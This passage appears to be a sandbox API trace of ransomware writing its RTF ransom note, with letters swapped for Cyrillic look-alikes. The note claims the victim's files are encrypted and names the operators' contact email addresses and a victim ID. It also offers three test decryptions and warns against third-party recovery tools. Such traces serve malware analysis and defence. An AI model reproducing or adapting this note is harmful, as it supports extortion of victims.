urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 